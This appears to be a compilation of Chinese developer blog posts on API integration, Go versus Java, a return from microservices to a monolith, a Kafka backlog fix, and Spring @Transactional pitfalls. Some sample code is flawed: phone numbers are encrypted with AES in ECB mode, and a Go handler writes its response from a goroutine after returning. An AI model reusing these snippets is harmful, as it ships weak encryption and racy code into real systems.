SecretKeySpec key = new SecretKeySpec(aesKey.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key);
return Base64.getEncoder().encodeToString(cipher.doFinal(phone.getBytes()));
}
}
5. 实时监控:让接口状态“可视化”
高手不会等到用户投诉才发现问题,而是用监控提前预警:
// 1. 自定义指标收集(基于Micrometer)
@Component
public class ApiMetricsCollector {
private final MeterRegistry meterRegistry;
public void recordApiCall(String apiName, long durationMs, boolean success) {
// 记录接口耗时分布
Timer.builder("thirdparty.api.duration")
.tag("api", apiName)
.tag("success", String.valueOf(success))
.register(meterRegistry)
.record(durationMs, TimeUnit.MILLISECONDS);
// 记录失败次数
if (!success) {
Counter.builder("thirdparty.api.failure")
.tag("api", apiName)
.register(meterRegistry)
.increment();
}
}
}
// 2. 配置监控告警(Prometheus + Grafana)
// 告警规则示例:当5分钟内失败率超过10%时触发告警
// - alert: ApiHighFailureRate
// expr: sum(rate(thirdparty.api.failure[5m])) / sum(rate(thirdparty.api.duration_count[5m])) > 0.1
// for: 1m
// labels:
// severity: critical
// annotations:
// summary: "接口失败率过高"
// description: "{{ $labels.api }} 接口5分钟失败率超过10%"
一个优秀的接口对接系统,其实就是一个可观测、可预警、可恢复、可信任的微系统。
四、写给未来的自己看
很多人调完接口就走,连注释都没有。三个月后接手的人只能默默骂一句:“这谁写的鬼东西?对方文档改了哪?这个签名算法是啥意思?”
高手懂得写“能看懂的代码”,体现在这些地方:
- • 接口模型用类而非 Map:
PaymentRequest类比Map<String, Object>更清晰,字段注释直接写在类里 - • 错误码枚举化:
PaymentErrorCode.ORDER_NOT_EXIST比魔法值10001更容易维护 - • 文档内聚:在实现类里用
@see链接对方文档地址,关键逻辑加注释说明为什么这么做 - • Mock 测试就绪:提供
MockPaymentGatewayClient,方便本地调试和单元测试
对接接口的过程,其实是你在写给未来的自己看。维护体验的好坏,体现的是你的工程素养。
五、你以为的“体力活”,其实是“架构的入门课”
对接第三方接口,本质上是一次系统边界设计的演练。
当你学会:
- 用“依赖倒置”隔离外部变化
- 用“防御性编程”处理异常情况
- 用“签名加密”保障数据安全
- 用“可观测性”确保问题可追溯
- 用“熔断降级”保障系统韧性
你就已经掌握了架构设计的核心思维。
毕竟,真实世界的系统从来不是孤立的。能把一个“不稳定的外部系统”接入得像内部服务一样稳定、可靠、优雅,那一刻,你不再是“接口调用员”,而是一个在用工程思维解决问题的架构师。
最后想说一句
下次当有人跟你说:“就调个接口嘛,这有啥难的?”。你可以微微一笑: “我不只是调接口,我在构建系统的边界。”
记住一句话: “能调通的叫能力,能跑稳的才叫实力。”
如果觉得有启发,不妨关注下我的公众号《码上实战》。
来源:juejin.cn/post/7563858353884102695
Go 语言未来会取代 Java 吗?
Go 语言未来会取代 Java 吗?
(八年 Java 开发的深度拆解:从业务场景到技术底层)
开篇:面试官的灵魂拷问与行业焦虑
前年面某大厂时,技术负责人突然抛出问题:“如果让你重构公司核心系统,会选 Go 还是 Java?”
作为写了八年 Java 的老开发,我本能地想强调 Spring 生态和企业级成熟度,但对方随即展示的 PPT 让我冷汗直冒 —— 某金融公司用 Go 重构交易系统后,QPS 从 5 万飙升到 50 万,服务器成本降低 70%。这让我陷入沉思:当云原生和 AI 浪潮来袭,Java 真的要被 Go 取代了吗?
今天从 业务场景、技术本质、行业趋势 三个维度,结合实战代码和踩坑经验,聊聊我的真实看法。
一、业务场景对比:Go 的 “闪电战” vs Java 的 “持久战”
先看三个典型业务场景,你会发现两者的差异远不止 “性能” 二字。
场景 1:高并发抢购(电商大促)
Go 实现(Gin 框架) :
func main() {
router := gin.Default()
router.GET("/seckill", func(c *gin.Context) {
// 轻量级goroutine处理请求
go func() {
// 直接操作Redis库存
if err := redisClient.Decr("stock").Err(); err != nil {
c.JSON(http.StatusOK, gin.H{"result": "fail"})
return
}
c.JSON(http.StatusOK, gin.H{"result": "success"})
}()
})
router.Run(":8080")
}
性能数据:单机轻松支撑 10 万 QPS,p99 延迟 < 5ms。
Java 实现(Spring Boot + 虚拟线程) :
@RestController
public class SeckillController {
@GetMapping("/seckill")
public CompletableFuture<ResponseEntity<String>> seckill() {
return CompletableFuture.supplyAsync(() -> {
// 虚拟线程处理IO操作
if (redisTemplate.opsForValue().decrement("stock") < 0) {
return ResponseEntity.ok("fail");
}
return ResponseEntity.ok("success");
}, Executors.newVirtualThreadPerTaskExecutor());
}
}
性能数据:Java 21 虚拟线程让 IO 密集型场景吞吐量提升 7 倍,p99 延迟从 165ms 降至 23ms。
核心差异:
- Go:天生适合高并发,Goroutine 调度和原生 Redis 操作无额外开销。
- Java:依赖 JVM 调优,虚拟线程虽大幅提升性能,但需配合线程池和异步框架。
场景 2:智能运维平台(云原生领域)
Go 实现(Ollama + gRPC) :
func main() {
// 启动gRPC服务处理AI推理请求
server := grpc.NewServer()
pb.RegisterAIAnalysisServer(server, &AIHandler{})
go func() {
if err := server.Serve(lis); err != nil {
log.Fatalf("Server exited with error: %v", err)
}
}()
// 采集节点数据(百万级设备)
for i := 0; i < 1000000; i++ {
go func(nodeID int) {
for {
data := collectMetrics(nodeID)
client.Send(data) // 通过channel传递数据
}
}(i)
}
}
优势:轻量级 Goroutine 高效处理设备数据采集,gRPC 接口响应速度比 REST 快 30%。
Java 实现(Spring Cloud + Kafka) :
@Service
public class MonitorService {
@Autowired
private KafkaTemplate<String, String> kafkaTemplate;
public void collectMetrics(int nodeID) {
ScheduledExecutorService executor = Executors.newScheduledThreadPool(100);
executor.scheduleAtFixedRate(() -> {
String data =采集数据(nodeID);
kafkaTemplate.send("metrics-topic", data);
}, 0, 1, TimeUnit.SECONDS);
}
}
挑战:传统线程池在百万级设备下内存占用飙升,需配合 Kafka 分区和 Consumer Gr0up 优化。
核心差异:
- Go:云原生基因,从采集到 AI 推理全链路高效协同。
- Java:生态依赖强,需整合 Spring Cloud、Kafka 等组件,部署复杂度高。
场景 3:企业 ERP 系统(传统行业)
Java 实现(Spring + Hibernate) :
@Entity
@Table(name = "orders")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@ManyToOne
@JoinColumn(name = "user_id")
private User user;
// 复杂业务逻辑注解
@PrePersist
public void validateOrder() {
if (totalAmount < 0) {
throw new BusinessException("金额不能为负数");
}
}
}
优势:Spring 的事务管理和 Hibernate 的 ORM 完美支持复杂业务逻辑,代码可读性高。
Go 实现(GORM + 接口组合) :
type Order struct {
ID uint `gorm:"primaryKey"`
UserID uint
Total float64
}
func (o *Order) Validate() error {
if o.Total < 0 {
return errors.New("金额不能为负数")
}
return nil
}
func CreateOrder(ctx context.Context, order Order) error {
if err := order.Validate(); err != nil {
return err
}
return db.Create(&order).Error
}
挑战:需手动实现事务和复杂校验逻辑,代码量比 Java 多 20%。
核心差异:
- Java:企业级成熟度,框架直接支持事务、权限、审计等功能。
- Go:灵活性高,但需手动实现大量基础功能,适合轻量级业务。
二、技术本质:为什么 Go 在某些场景碾压 Java?
从 并发模型、内存管理、性能调优 三个维度,深挖两者的底层差异。
1. 并发模型:Goroutine vs 线程 / 虚拟线程
Go 的 Goroutine:
- 轻量级:每个 Goroutine 仅需 2KB 栈空间,可轻松创建百万级并发。
- 调度高效:基于 GMP 模型,避免内核级上下文切换,IO 阻塞时自动释放线程。
Java 的虚拟线程(Java 21+) :
- 革命性改进:每个虚拟线程仅需几百字节内存,IO 密集型场景吞吐量提升 7 倍。
- 兼容传统代码:无需修改业务逻辑,直接将
new Thread()替换为Thread.startVirtualThread()。
性能对比:
- HTTP 服务:Go 的 Gin 框架单机 QPS 可达 5 万,Java 21 虚拟线程 + Netty 可达 3 万。
- 消息处理:Go 的 Kafka 消费者单节点处理速度比 Java 快 40%。
2. 内存管理:逃逸分析 vs 分代 GC
Go 的逃逸分析:
- 栈优先分配:对象若未逃逸出函数,直接在栈上分配,减少 GC 压力。
- 零拷贝优化:
io.Reader接口直接操作底层缓冲区,避免内存复制。
Java 的分代 GC:
- 成熟但复杂:新生代采用复制算法,老年代采用标记 - 压缩,需通过
-XX:G1HeapRegionSize等参数调优。 - 内存占用高:同等业务逻辑下,Java 堆内存通常是 Go 的 2-3 倍。
典型案例:
某金融公司用 Go 重构风控系统后,内存占用从 8GB 降至 3GB,GC 停顿时间从 200ms 缩短至 10ms。
3. 性能调优:静态编译 vs JIT 编译
Go 的静态编译:
- 启动快:编译后的二进制文件直接运行,无需预热 JVM。
- 可预测性强:性能表现稳定,适合对延迟敏感的场景(如高频交易)。
Java 的 JIT 编译:
- 动态优化:运行时将热点代码编译为机器码,长期运行后性能可能反超 Go。
- 依赖调优经验:需通过
-XX:CompileThreshold等参数平衡启动时间和运行效率。
实测数据:
- 启动时间:Go 的 HTTP 服务启动仅需 20ms,Java Spring Boot 需 500ms。
- 长期运行:持续 24 小时压测,Java 的吞吐量可能比 Go 高 10%(JIT 优化后)。
三、行业趋势:Go 在蚕食 Java 市场,但 Java 不会轻易退场
从 市场数据、生态扩展、技术演进 三个维度,分析两者的未来走向。
1. 市场数据:Go 在高速增长,Java 仍占主导
- 份额变化:Go 在 TIOBE 排行榜中从 2020 年的第 13 位升至 2025 年的第 7 位,市场份额突破 3%。
- 薪资对比:Go 开发者平均薪资比 Java 高 20%,但 Java 岗位数量仍是 Go 的 5 倍。
典型案例:
- 字节跳动:核心推荐系统用 Go 重构,QPS 提升 3 倍,成本降低 60%。
- 招商银行:核心交易系统仍用 Java,但微服务网关和监控平台全面转向 Go。
2. 生态扩展:Go 拥抱 AI,Java 深耕企业级
Go 的 AI 集成:
- 工具链完善:通过 Ollama 框架可直接调用 LLM 模型,实现智能运维告警。
- 性能优势:Go 的推理服务延迟比 Python 低 80%,适合边缘计算场景。
Java 的企业级护城河:
- 大数据生态:Hadoop、Spark、Flink 等框架仍深度依赖 Java。
- 移动端统治力:尽管 Kotlin 流行,Android 系统底层和核心应用仍用 Java 开发。
3. 技术演进:Go 和 Java 都在进化
Go 的发展方向:
- 泛型完善:Go 1.18 + 支持泛型,减少重复代码(如
PrintSlice函数可适配任意类型)。 - WebAssembly 集成:计划将 Goroutine 编译为 Wasm,实现浏览器端高并发。
Java 的反击:
- Project Loom:虚拟线程已转正,未来将支持更细粒度的并发控制。
- Project Valhalla:引入值类型,减少对象装箱拆箱开销,提升性能 15%。
四、选型建议:Java 开发者该如何应对?
作为八年 Java 老兵,我的 技术选型原则 是:用最合适的工具解决问题,而非陷入语言宗教战争。
1. 优先选 Go 的场景
- 云原生基础设施:API 网关、服务网格、CI/CD 工具链(如 Kubernetes 用 Go 开发)。
- 高并发实时系统:IM 聊天、金融交易、IoT 数据采集(单机 QPS 需求 > 1 万)。
- AI 推理服务:边缘计算节点、实时推荐系统(需低延迟和高吞吐量)。
2. 优先选 Java 的场景
- 复杂企业级系统:ERP、CRM、银行核心业务(需事务、权限、审计等功能)。
- Android 开发:系统级应用和性能敏感模块(如相机、传感器驱动)。
- 大数据处理:离线分析、机器学习训练(Hadoop/Spark 生态成熟)。
3. 混合架构:Go 和 Java 共存的最佳实践
- API 网关用 Go:处理高并发请求,转发到 Java 微服务。
- AI 推理用 Go:部署轻量级模型,结果通过 gRPC 返回给 Java 业务层。
- 数据存储用 Java:复杂查询和事务管理仍由 Java 服务处理。
代码示例:Go 调用 Java 微服务
// Go客户端
conn, err := grpc.Dial("java-service:8080", grpc.WithInsecure())
if err != nil {
log.Fatalf("连接失败: %v", err)
}
defer conn.Close()
client := pb.NewJavaServiceClient(conn)
resp, err := client.ProcessData(context.Background(), &pb.DataRequest{Data: "test"})
if err != nil {
log.Fatalf("调用失败: %v", err)
}
fmt.Println("Java服务返回:", resp.Result)
// Java服务端
@GrpcService
public class JavaServiceImpl extends JavaServiceGrpc.JavaServiceImplBase {
@Override
public void processData(DataRequest request, StreamObserver<DataResponse> responseObserver) {
String result =复杂业务逻辑(request.getData());
responseObserver.onNext(DataResponse.newBuilder().setResult(result).build());
responseObserver.onCompleted();
}
}
五、总结:焦虑源于未知,成长来自行动
回到开篇的问题:Go 会取代 Java 吗? 我的答案是:短期内不会,但长期会形成互补格局。
- Java 的不可替代性:企业级成熟度、Android 生态、大数据框架,这些优势难以撼动。
- Go 的不可阻挡性:云原生、高并发、AI 集成,这些领域 Go 正在建立新标准。
作为开发者,与其焦虑语言之争,不如:
- 掌握 Go 的核心优势:学习 Goroutine 编程、云原生架构,参与开源项目(如 Kubernetes)。
- 深耕 Java 的护城河:研究虚拟线程调优、Spring Boot 3.2 新特性,提升企业级架构能力。
- 拥抱混合开发:在 Java 项目中引入 Go 模块,或在 Go 服务中调用 Java 遗留系统。
最后分享一个真实案例:某电商公司将支付核心用 Java 保留,抢购服务用 Go 重构,大促期间 QPS 从 5 万提升到 50 万,系统总成本降低 40%。这说明,语言只是工具,业务价值才是终极目标。
来源:juejin.cn/post/7540597161224536090
微服务正在悄然消亡:这是一件美好的事
最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章《Microservices Are Quietly Dying — And It’s Beautiful》,许多观点直击痛点、非常启发,于是我顺手把它翻译出来,分享给大家,也希望能给同样在复杂性与效率之间权衡的团队一些参考。
微服务正在悄然消亡:这是一件美好的事
为了把我们的创业产品扩展到数百万用户,我们搭建了 47 个微服务。
用户从未达到一百万,但我们达到了每月 23,000 美元的 AWS 账单、长达 14 小时的故障,以及一个再也无法高效交付新功能的团队。
那一刻我才意识到:我们并没有在构建产品,而是在搭建一座分布式的自恋纪念碑。

我们都信过的谎言
五年前,微服务几乎是教条。Netflix 用它,Uber 用它。每一场技术大会、每一篇 Medium 文章、每一位资深架构师都在高喊同一句话:单体不具备可扩展性,微服务才是答案。
于是我们照做了。我们把 Rails 单体拆成一个个服务:用户服务、认证服务、支付服务、通知服务、分析服务、邮件服务;然后是子服务,再然后是调用服务的服务,层层套叠。
到第六个月,我们已经在 12 个 GitHub 仓库里维护 47 个服务。我们的部署流水线像一张地铁图,架构图需要 4K 显示器才能看清。
当“最佳实践”变成“最差实践”
我们不断告诫自己:一切都在运转。我们有 Kubernetes,有服务网格,有用 Jaeger 的分布式追踪,有 ELK 的日志——我们很“现代”。
但那些光鲜的微服务文章从不提的一点是:分布式的隐性税。
每一个新功能都变成跨团队的协商。想给用户资料加一个字段?那意味着要改五个服务、提三个 PR、协调两周,并进行一次像劫案电影一样精心编排的数据库迁移。
我们的预发布环境成本甚至高于生产环境,因为想测试任何东西,都需要把一切都跑起来。47 个服务在 Docker Compose 里同时启动,内存被疯狂吞噬。
那个彻夜崩溃的夜晚
凌晨 2:47,Slack 被消息炸翻。
生产环境宕了。不是某一个服务——是所有服务。支付服务连不上用户服务,通知服务不断超时,API 网关对每个请求都返回 503。
我打开分布式追踪面板:一万五千个 span,全线飘红。瀑布图像抽象艺术。我花了 40 分钟才定位出故障起点。
结果呢?一位初级开发在认证服务上发布了一个配置变更,只是一个环境变量。它让令牌校验多了 2 秒延迟,这个延迟在 11 个下游服务间层层传递,超时叠加、断路器触发、重试逻辑制造请求风暴,整个系统在自身重量下轰然倒塌。
我们搭了一座纸牌屋,却称之为“容错架构”。
我们花了六个小时才修复。并不是因为 bug 复杂——它只是一个配置的单行改动,而是因为排查分布式系统就像破获一桩谋杀案:每个目击者说着不同的语言,而且有一半在撒谎。
那个被忽略的低语
一周后,在复盘会上,我们的 CTO 说了句让所有人不自在的话:
“要不我们……回去?”
回到单体。回到一个仓库。回到简单。
会议室一片沉默。你能感到认知失调。我们是工程师,我们很“高级”。单体是给传统公司和训练营毕业生用的,不是给一家正打造未来的 A 轮初创公司用的。
但随后有人把指标展开:平均恢复时间 4.2 小时;部署频率每周 2.3 次(从单体时代的每周 12 次一路下滑);云成本增长速度比营收快 40%。
数字不会说谎。是架构在拖垮我们。
美丽的回归
我们用了三个月做整合。47 个服务归并成一个模块划分清晰的 Rails 应用;Kubernetes 变成负载均衡后面的三台 EC2;12 个仓库的工作流收敛成一个边界明确的仓库。
结果简直让人尴尬。
部署时间从 25 分钟降到 90 秒;AWS 账单从 23,000 美元降到 3,800 美元;P95 延迟提升了 60%,因为我们消除了 80% 的网络调用。更重要的是——我们又开始按时交付功能了。
开发者不再说“我需要和三个团队协调”,而是开始说“午饭前给你”。
我们的“分布式系统”变回了结构良好的应用。边界上下文变成 Rails 引擎,服务调用变成方法调用,Kafka 变成后台任务,“编排层”……就是 Rails 控制器。
它更快,它更省,它更好。
我们真正学到的是什么
这是真相:我们为此付出两年时间和 40 万美元才领悟——
微服务不是一种纯粹的架构模式,而是一种组织模式。Netflix 需要它,因为他们有 200 个团队。你没有。Uber 需要它,因为他们一天发布 4,000 次。你没有。
复杂性之所以诱人,是因为它看起来像进步。 拥有 47 个服务、Kubernetes、服务网格和分布式追踪,看起来很“专业”;而一个单体加一套 Postgres,看起来很“业余”。
但复杂性是一种税。它以认知负担、运营开销、开发者幸福感和交付速度为代价。
而大多数初创公司根本付不起这笔税。
我们花了两年时间为并不存在的规模做优化,同时牺牲了能让我们真正达到规模的简单性。
你不需要 50 个微服务,你需要的是自律
软件架构的“肮脏秘密”是:好的设计在任何规模都奏效。
一个结构良好的单体,拥有清晰的模块、明确的边界上下文和合理的关注点分离,比一团由希望和 YAML 勉强粘合在一起的微服务乱麻走得更远。
微服务并不是因为“糟糕”而式微,而是因为我们出于错误的理由使用了它。我们选择了分布式的复杂性而不是本地的自律,选择了运营的负担而不是价值的交付。
那些悄悄回归单体的公司并非承认失败,而是在承认更难的事实:我们一直在解决错误的问题。
所以我想问一个问题:你构建微服务,是在逃避什么?
如果答案是“一个凌乱的代码库”,那我有个坏消息——分布式系统不会修好坏代码,它只会让问题更难被发现。
来源:juejin.cn/post/7563860666349649970
Kafka 消息积压了,同事跑路了
快到年底了,系统频繁出问题。我有正当理由怀疑老板不想发年终奖所以搞事。
这不,几年都遇不到的消息队列积压现象今晚又卷土重来了。
今晚注定是个不眠夜了,原神启动。。。

组里的小伙伴火急火燎找到我说,Kafka 的消息积压一直在涨,预览图一直出不来。我加了几个服务实例,刚开始可以消费,后面消费着也卡住了。
本来刚刚下班的我就比较疲惫,想让他撤回镜像明天再上。不成想组长不讲武德,直接开了个飞书视频。
我当时本来不想理他,我已经下班了,别人上线的功能出问题关我啥事。

后来他趁我不注意搞偷袭,给我私信了,我当时没多想就点开了飞书。
本来以传统功夫的点到为止,我进入飞书不点开他的会话,是能看他给我发的最后一句话的。

我把手放在他那个会话上就是没点开,已读不回这种事做多了不好。我笑了一下,准备洗洗睡了。
正在我收手不点的时候,他突然给我来了一个电话,我大意了啊,没有挂,还强行接了他的电话。两分多钟以后就好了,我说小伙子你不讲武德。
直接喊话,今晚必须解决,大家都点咖啡算他的。

这真没办法,都找上门来了。只能跟着查一下,早点解决早点睡觉。然后我就上 Kafka 面板一看:最初的4个分区已经积压了 1200 条,后面新加的分区也开始积压了,而且积压的速度越来越快。

搞清楚发生了什么?我们就得思考一下导致积压的原因。一般是消费者代码执行出错了,导致某条消息消费不了。
所以某个点卡住了,然后又有新的消息进来。
Kafka 是通过 offset 机制来标记消息是否消费过的,所以如果分区中有某一条消息消费失败,就会导致后面的没机会消费。
我用的是spring cloud stream 来处理消息队列的发送和监听。代码上是每次处理一条消息,而且代码还在处理的过程中加了 try-catch。监听器链路打印的日志显示执行成功了,try-catch也没有捕捉到任何的异常。
这一看,我就以为是消费者性能不足,突然想起 SpringCloudStream 好像有个多线程消费的机制。立马让开发老哥试试,看看能不能就这样解决了,我困得不行。

我半眯着眼睛被提醒吵醒了。开发老哥把多线程改成10之后,发现积压更快了,而且还有pod会挂。老哥查了一下多线程的配置 concurrency。
原来指的是消费者线程,一个消费者线程会负责处理一个分区。对于我们来说,增加之后可能会导致严重的流量倾斜,难怪pod会挂掉,赶紧恢复了回去。
看来想糊弄过去是不行了,我把pod运行的日志全部拉下来。查了一下日志,日志显示执行成功了,但同时有超时错误,这就见了鬼了。

作为一个坚定的唯物主义者,我是不信见鬼的。但此刻我汗毛倒竖,吓得不敢再看屏幕一眼。

但是内心又觉得不甘心,于是我偷偷瞄了一眼屏幕。不看还好,一喵你猜我发现了啥?
消费者组重平衡了,这就像是在黑暗中有一束光照向了我,猪八戒发现嫦娥原来一直暗恋自己,我的女神其实不需要拉屎。
有了重平衡就好说了,无非就是两种情况,一是服务挂掉了,二是服务消费者执行超时了。现在看来服务没有挂,那就是超时了,也正好和上面的日志能对上。

那怎么又看到监听器执行的结果是正常的呢?
这就得从 Kafka 的批量拉取机制说起了,这货和我们人类直觉上的的队列机制不太一样。我们一般理解的队列是发送一个消息给队列,然后队列就异步把这消息给消费者。但是这货是消费者主动去拉取一批来消费。
然后好死不死,SpringCloudStream 为了封装得好用符合人类的认知,就做成了一般理解的队列那种方式。
SpringCloudStream 一批拉了500条记录,然后提供了一个监听器接口让我们实现。入参是一个对象,也就是500条数据中的一条,而不是一个数组。

我们假设这500条数据的ID是 001-500,每一条数据对应的消费者需要执行10s。那么总共就需要500 x 10s=5000s。
再假设消费者执行的超时时间是 300s,而且消费者执行的过程是串行的。那么500条中最多只能执行30条,这就能解释为什么看消费链路是正常的,但是还超时。
因为单次消费确实成功了,但是批次消费也确实超时了。
我咧个豆,破案了。

于是我就想到了两种方式来处理这个问题:第一是改成单条消息消费完立马确认,第二是把批次拉取的数据量改小一点。
第一种方案挺好的,就是性能肯定没有批量那么好,不然你以为 Kafka 的吞吐量能薄纱ActiveMQ这些传统队列。吞吐量都是小事,这个方案胜在可以立马去睡觉了。只需要改一个配置:ack-mode: RECORD
第二种方案是后来提的,其实单单把批次拉取的数据量改小性能提升还不是很明显。不过既然我们都能拿到一批数据了,那多线程安排上就得了。
先改配置,一次只拉取50条 max.poll.records: 50。然后启用线程池处理,完美!
@StreamListener("<TOPIC>")
public void consume(List<byte[]> payloads) {
List<CompletableFuture<Void>> futures = payloads.stream().map(bytes -> {
Payload payload = JacksonSnakeCaseUtils.parseJson(new String(bytes), Payload.class);
return CompletableFuture.runAsync(() -> {
// ........
}, batchConsumeExecutor).exceptionally(e -> {
log.error("Thread error {}", bytes, e);
return null;
});
}).collect(Collectors.toList());
try {
// 等待这批消息中的所有任务全部完成
CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
errorMessage = "OK";
} catch (Exception e) {
errorMessage = "Ex: " + e.getMessage();
} finally {
// ...
}
}

来源:juejin.cn/post/7573687816431190026
为什么大厂一般都不推荐使用@Transactional?
前言
对于从事java开发工作的同学来说,Spring的事务肯定再熟悉不过了。
在某些业务场景下,如果一个请求中,需要同时写入多张表的数据。为了保证操作的原子性(要么同时成功,要么同时失败),避免数据不一致的情况,我们一般都会用到Spring事务。
确实,Spring事务用起来贼爽,就用一个简单的注解:@Transactional,就能轻松搞定事务。我猜大部分小伙伴也是这样用的,而且一直用一直爽。
但如果你使用不当,它也会坑你于无形。
今天我们就一起聊聊,事务失效的一些场景,说不定你已经中招了。不信,让我们一起看看。

一 事务不生效
1.访问权限问题
众所周知,java的访问权限主要有四种:private、default、protected、public,它们的权限从左到右,依次变大。
但如果我们在开发过程中,把有某些事务方法,定义了错误的访问权限,就会导致事务功能出问题,例如:
@Service
public class UserService {
@Transactional
private void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法的访问权限被定义成了private,这样会导致事务失效,spring要求被代理方法必须是public的。
说白了,在AbstractFallbackTransactionAttributeSource类的computeTransactionAttribute方法中有个判断,如果目标方法不是public,则TransactionAttribute返回null,即不支持事务。
protected TransactionAttribute computeTransactionAttribute(Method method, @Nullable Class<?> targetClass) {
// Don't allow no-public methods as required.
if (allowPublicMethodsOnly() && !Modifier.isPublic(method.getModifiers())) {
return null;
}
// The method may be on an interface, but we need attributes from the target class.
// If the target class is null, the method will be unchanged.
Method specificMethod = AopUtils.getMostSpecificMethod(method, targetClass);
// First try is the method in the target class.
TransactionAttribute txAttr = findTransactionAttribute(specificMethod);
if (txAttr != null) {
return txAttr;
}
// Second try is the transaction attribute on the target class.
txAttr = findTransactionAttribute(specificMethod.getDeclaringClass());
if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {
return txAttr;
}
if (specificMethod != method) {
// Fallback is to look at the original method.
txAttr = findTransactionAttribute(method);
if (txAttr != null) {
return txAttr;
}
// Last fallback is the class of the original method.
txAttr = findTransactionAttribute(method.getDeclaringClass());
if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {
return txAttr;
}
}
return null;
}
也就是说,如果我们自定义的事务方法(即目标方法),它的访问权限不是public,而是private、default或protected的话,spring则不会提供事务功能。
2. 方法用final修饰
有时候,某个方法不想被子类重新,这时可以将该方法定义成final的。普通方法这样定义是没问题的,但如果将事务方法定义成final,例如:
@Service
public class UserService {
@Transactional
public final void add(UserModel userModel){
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法被定义成了final的,这样会导致事务失效。
为什么?
如果你看过spring事务的源码,可能会知道spring事务底层使用了aop,也就是通过jdk动态代理或者cglib,帮我们生成了代理类,在代理类中实现的事务功能。
但如果某个方法用final修饰了,那么在它的代理类中,就无法重写该方法,而添加事务功能。
注意:如果某个方法是static的,同样无法通过动态代理,变成事务方法。
3.方法内部调用
有时候我们需要在某个Service类的某个方法中,调用另外一个事务方法,比如:
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
//@Transactional
public void add(UserModel userModel) {
userMapper.insertUser(userModel);
updateStatus(userModel);
}
@Transactional
public void updateStatus(UserModel userModel) {
doSameThing();
}
}
我们看到在事务方法add中,直接调用事务方法updateStatus。从前面介绍的内容可以知道,updateStatus方法拥有事务的能力是因为spring aop生成代理了对象,但是这种方法直接调用了this对象的方法,所以updateStatus方法不会生成事务。
由此可见,在同一个类中的方法直接内部调用,会导致事务失效。
那么问题来了,如果有些场景,确实想在同一个类的某个方法中,调用它自己的另外一个方法,该怎么办呢?
3.1 新加一个Service方法
这个方法非常简单,只需要新加一个Service方法,把@Transactional注解加到新Service方法上,把需要事务执行的代码移到新方法中。具体代码如下:
@Servcie
public class ServiceA {
@Autowired
prvate ServiceB serviceB;
public void save(User user) {
queryData1();
queryData2();
serviceB.doSave(user);
}
}
@Servcie
public class ServiceB {
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
3.2 在该Service类中注入自己
如果不想再新加一个Service类,在该Service类中注入自己也是一种选择。具体代码如下:
@Servcie
public class ServiceA {
@Autowired
prvate ServiceA serviceA;
public void save(User user) {
queryData1();
queryData2();
serviceA.doSave(user);
}
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
可能有些人可能会有这样的疑问:这种做法会不会出现循环依赖问题?
答案:不会。
其实spring ioc内部的三级缓存保证了它,不会出现循环依赖问题。但有些坑,如果你想进一步了解循环依赖问题,可以看看我之前文章《spring:我是如何解决循环依赖的?》。
3.3 通过AopContent类
在该Service类中使用AopContext.currentProxy()获取代理对象
上面的方法2确实可以解决问题,但是代码看起来并不直观,还可以通过在该Service类中使用AOPProxy获取代理对象,实现相同的功能。具体代码如下:
@Servcie
public class ServiceA {
public void save(User user) {
queryData1();
queryData2();
((ServiceA)AopContext.currentProxy()).doSave(user);
}
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
4.未被spring管理
在我们平时开发过程中,有个细节很容易被忽略。即使用spring事务的前提是:对象要被spring管理,需要创建bean实例。
通常情况下,我们通过@Controller、@Service、@Component、@Repository等注解,可以自动实现bean实例化和依赖注入的功能。
当然创建bean实例的方法还有很多,有兴趣的小伙伴可以看看我之前写的另一篇文章《@Autowired的这些骚操作,你都知道吗?》
如果有一天,你匆匆忙忙的开发了一个Service类,但忘了加@Service注解,比如:
//@Service
public class UserService {
@Transactional
public void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
从上面的例子,我们可以看到UserService类没有加@Service注解,那么该类不会交给spring管理,所以它的add方法也不会生成事务。
5.多线程调用
在实际项目开发中,多线程的使用场景还是挺多的。如果spring事务用在多线程场景中,会有问题吗?
@Slf4j
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
new Thread(() -> {
roleService.doOtherThing();
}).start();
}
}
@Service
public class RoleService {
@Transactional
public void doOtherThing() {
System.out.println("保存role表数据");
}
}
从上面的例子中,我们可以看到事务方法add中,调用了事务方法doOtherThing,但是事务方法doOtherThing是在另外一个线程中调用的。
这样会导致两个方法不在同一个线程中,获取到的数据库连接不一样,从而是两个不同的事务。如果想doOtherThing方法中抛了异常,add方法也回滚是不可能的。
如果看过spring事务源码的朋友,可能会知道spring的事务是通过数据库连接来实现的。当前线程中保存了一个map,key是数据源,value是数据库连接。
private static final ThreadLocal<Map<Object, Object>> resources =
new NamedThreadLocal<>("Transactional resources");
我们说的同一个事务,其实是指同一个数据库连接,只有拥有同一个数据库连接才能同时提交和回滚。如果在不同的线程,拿到的数据库连接肯定是不一样的,所以是不同的事务。
6.表不支持事务
周所周知,在mysql5之前,默认的数据库引擎是myisam。
它的好处就不用多说了:索引文件和数据文件是分开存储的,对于查多写少的单表操作,性能比innodb更好。
有些老项目中,可能还在用它。
在创建表的时候,只需要把ENGINE参数设置成MyISAM即可:
CREATE TABLE `category` (
`id` bigint NOT NULL AUTO_INCREMENT,
`one_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`two_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`three_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`four_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
PRIMARY KEY (`id`)
